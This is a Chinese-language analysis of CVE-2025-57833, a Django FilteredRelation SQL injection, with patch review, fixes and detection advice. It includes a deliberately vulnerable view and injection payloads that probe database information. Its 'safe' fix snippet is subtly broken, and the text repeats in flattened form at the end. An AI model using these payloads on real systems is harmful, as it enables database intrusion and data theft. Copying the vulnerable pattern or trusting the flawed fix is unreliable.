CVE-2025-57833:Potential SQL injection in FilteredRelation column aliases
字数 1904 2025-11-11 12:13:48

CVE-2025-57833:Django FilteredRelation SQL注入漏洞分析

漏洞概述

CVE-2025-57833是Django框架中的一个SQL注入漏洞,影响Django 5.2及之前版本。该漏洞存在于FilteredRelation功能的列别名处理中,当使用QuerySet.annotate()或QuerySet.alias()方法并通过Python字典扩展(**kwargs)提供列别名时,由于对字典键(列别名)未进行充分验证,导致攻击者可构造恶意字典注入SQL语句。

技术背景

FilteredRelation功能

FilteredRelation是Django ORM的高级特性,用于在JOIN操作上添加过滤条件并生成别名。它允许开发者在关联查询时添加额外的过滤条件,而不仅仅是基于字段相等的关联。

漏洞历史关联

此漏洞与之前修复的CVE-2022-28346类似,都是由于别名验证不完善导致的SQL注入。CVE-2022-28346修复了QuerySet.annotate(), aggregate(),和extra()中的类似问题,但遗漏了FilteredRelation场景。

漏洞分析

补丁代码分析

补丁地址:https://github.com/django/django/commit/4c044fcc866ec226f612c475950b690b0139d243

主要修改在django/db/models/query.pyadd_filtered_relation方法中,增加了对别名的安全检查:

def add_filtered_relation(self, filtered_relation, alias):
    # 新增的检查
    self.check_alias(alias)
    # ... 原有逻辑

安全检查实现

check_alias方法使用正则表达式过滤危险字符:

FORBIDDEN_ALIAS_PATTERN = _lazy_re_compile(r"['`\"\]\[;\s]|--|/\*|\*/")

def check_alias(self, alias):
    if FORBIDDEN_ALIAS_PATTERN.search(alias):
        raise ValueError(
            "Column aliases cannot contain whitespace characters, quotation marks, "
            "semicolons, or SQL comments."
        )

触发路径

  1. 用户输入通过**kwargs传递给annotate()方法
  2. 调用_annotate()方法
  3. 调用add_filtered_relation方法
  4. 未经验证的别名直接拼接到SQL语句中

环境搭建

所需组件

  • Python 3.11
  • Django 5.2
  • PostgreSQL数据库

数据模型

from django.db import models

class Author(models.Model):
    name = models.CharField(max_length=50)

class Book(models.Model):
    title = models.CharField(max_length=100)
    author = models.ForeignKey(Author, on_delete=models.CASCADE)

漏洞代码示例

import json
from django.http import HttpRequest, HttpResponse, JsonResponse
from django.views import View
from django.db.models import FilteredRelation, Q
from vuln.models import Book

class Books(View):
    def post(self, request: HttpRequest):
        try:
            body = json.loads(request.body)
            alias_name = body.get('alias', 'book_author')
            author_filter = body.get('author', None)
            
            query = Book.objects.annotate(
                **{alias_name: FilteredRelation("author", 
                   condition=Q(author__name=author_filter) if author_filter else Q())}
            ).filter(**{f"{alias_name}__id__gt": 0})
            
            return JsonResponse({'data': list(query.values_list())})
        except Exception as e:
            return JsonResponse({'error': str(e)}, status=500)

漏洞利用

利用条件

  1. 应用程序使用FilteredRelation进行关联查询
  2. 别名参数用户可控
  3. 查询结果被实际使用(否则ORM会优化掉未使用的别名)

利用步骤

正常请求

{
    "alias": "book_author",
    "author": "John"
}

生成SQL:

SELECT ... FROM "vuln_book" 
INNER JOIN "vuln_author" book_author 
ON ("vuln_book"."author_id" = book_author."id" AND book_author."name" = 'John') 
WHERE book_author."id" > 0

注入攻击

恶意payload:

{
    "alias": "xxx\") AS xxx USING (id)) AS aaa ON (aaa.id=vuln_book.author_id AND false--",
    "author": "test"
}

生成的恶意SQL:

SELECT ... FROM "vuln_book" 
INNER JOIN "vuln_author" 
ON ("vuln_book"."author_id" = "vuln_author"."id") 
INNER JOIN (SELECT "vuln_author"."id" FROM "vuln_author" 
WHERE "vuln_author"."name" = 'test') AS xxx USING (id)) 
AS aaa ON (aaa.id=vuln_book.author_id AND false--) 
AS "xxx\") ON ... WHERE xxx\".\"id" > 0

信息泄露利用

通过堆叠查询获取数据库信息:

{
    "alias": "xxx\") AS xxx USING (id)) AS aaa ON (aaa.id=vuln_book.author_id AND (SELECT current_user)='postgres'--",
    "author": "test"
}

技术细节

关键发现

  1. 别名必须被使用:如果annotate()创建的别名没有被后续的filter()使用,Django ORM会优化掉该查询部分,导致注入失败
  2. 数据库特异性:利用技术需要根据后端数据库进行调整
  3. 字符限制:需要绕过别名中的特殊字符限制

绕过技术

利用PostgreSQL的USING语法和注释字符来构造合法的SQL语句:

  • 使用USING (id)简化JOIN条件
  • 利用SQL注释--截断后续语句
  • 通过子查询实现堆叠查询效果

修复方案

立即措施

  1. 升级Django到安全版本(5.2.1或更高)
  2. 对用户输入的别名参数进行严格验证
  3. 避免将用户输入直接用于ORM查询结构

代码修复

# 安全的做法:使用固定别名或严格验证
def safe_annotate(alias_input):
    # 验证别名合法性
    if not re.match(r'^[a-zA-Z_][a-zA-Z0-9_]*$', alias_input):
        raise ValueError("Invalid alias name")
    
    return Book.objects.annotate(
        book_author=FilteredRelation("author", condition=Q(author__name=author_filter))
    )

防护建议

开发规范

  1. 输入验证:对所有用户提供的查询参数进行严格验证
  2. 参数化查询:使用Django ORM的标准方法,避免字符串拼接
  3. 最小权限:数据库连接使用最小必要权限
  4. 安全审计:定期检查使用FilteredRelation的代码

检测方法

  1. 搜索代码中的FilteredRelation使用
  2. 检查是否通过**kwargs传递用户输入
  3. 验证别名参数是否有适当的过滤

总结

CVE-2025-57833展示了ORM层安全的重要性,即使是经过充分测试的框架也可能存在边界情况的安全问题。开发人员应该:

  1. 理解ORM底层工作原理
  2. 对用户输入保持高度警惕
  3. 及时关注安全更新
  4. 实施纵深防御策略

该漏洞的利用虽然需要特定条件,但一旦满足条件,危害严重,可导致数据库信息泄露甚至控制。通过正确的安全实践和及时更新,可以有效防范此类风险。

参考资源

  • 官方补丁:https://github.com/django/django/commit/4c044fcc866ec226f612c475950b690b0139d243
  • 复现环境:https://github.com/sw0rd1ight/CVE-2025-57833
  • Django安全公告:https://www.djangoproject.com/weblog/2025/nov/02/security-releases/
CVE-2025-57833:Django FilteredRelation SQL注入漏洞分析 漏洞概述 CVE-2025-57833是Django框架中的一个SQL注入漏洞,影响Django 5.2及之前版本。该漏洞存在于FilteredRelation功能的列别名处理中,当使用QuerySet.annotate()或QuerySet.alias()方法并通过Python字典扩展(** kwargs)提供列别名时,由于对字典键(列别名)未进行充分验证,导致攻击者可构造恶意字典注入SQL语句。 技术背景 FilteredRelation功能 FilteredRelation是Django ORM的高级特性,用于在JOIN操作上添加过滤条件并生成别名。它允许开发者在关联查询时添加额外的过滤条件,而不仅仅是基于字段相等的关联。 漏洞历史关联 此漏洞与之前修复的CVE-2022-28346类似,都是由于别名验证不完善导致的SQL注入。CVE-2022-28346修复了QuerySet.annotate(), aggregate(),和extra()中的类似问题,但遗漏了FilteredRelation场景。 漏洞分析 补丁代码分析 补丁地址:https://github.com/django/django/commit/4c044fcc866ec226f612c475950b690b0139d243 主要修改在 django/db/models/query.py 的 add_filtered_relation 方法中,增加了对别名的安全检查: 安全检查实现 check_alias 方法使用正则表达式过滤危险字符: 触发路径 用户输入通过** kwargs传递给annotate()方法 调用_ annotate()方法 调用add_ filtered_ relation方法 未经验证的别名直接拼接到SQL语句中 环境搭建 所需组件 Python 3.11 Django 5.2 PostgreSQL数据库 数据模型 漏洞代码示例 漏洞利用 利用条件 应用程序使用FilteredRelation进行关联查询 别名参数用户可控 查询结果被实际使用(否则ORM会优化掉未使用的别名) 利用步骤 正常请求 生成SQL: 注入攻击 恶意payload: 生成的恶意SQL: 信息泄露利用 通过堆叠查询获取数据库信息: 技术细节 关键发现 别名必须被使用 :如果annotate()创建的别名没有被后续的filter()使用,Django ORM会优化掉该查询部分,导致注入失败 数据库特异性 :利用技术需要根据后端数据库进行调整 字符限制 :需要绕过别名中的特殊字符限制 绕过技术 利用PostgreSQL的USING语法和注释字符来构造合法的SQL语句: 使用 USING (id) 简化JOIN条件 利用SQL注释 -- 截断后续语句 通过子查询实现堆叠查询效果 修复方案 立即措施 升级Django到安全版本(5.2.1或更高) 对用户输入的别名参数进行严格验证 避免将用户输入直接用于ORM查询结构 代码修复 防护建议 开发规范 输入验证 :对所有用户提供的查询参数进行严格验证 参数化查询 :使用Django ORM的标准方法,避免字符串拼接 最小权限 :数据库连接使用最小必要权限 安全审计 :定期检查使用FilteredRelation的代码 检测方法 搜索代码中的 FilteredRelation 使用 检查是否通过 **kwargs 传递用户输入 验证别名参数是否有适当的过滤 总结 CVE-2025-57833展示了ORM层安全的重要性,即使是经过充分测试的框架也可能存在边界情况的安全问题。开发人员应该: 理解ORM底层工作原理 对用户输入保持高度警惕 及时关注安全更新 实施纵深防御策略 该漏洞的利用虽然需要特定条件,但一旦满足条件,危害严重,可导致数据库信息泄露甚至控制。通过正确的安全实践和及时更新,可以有效防范此类风险。 参考资源 官方补丁:https://github.com/django/django/commit/4c044fcc866ec226f612c475950b690b0139d243 复现环境:https://github.com/sw0rd1ight/CVE-2025-57833 Django安全公告:https://www.djangoproject.com/weblog/2025/nov/02/security-releases/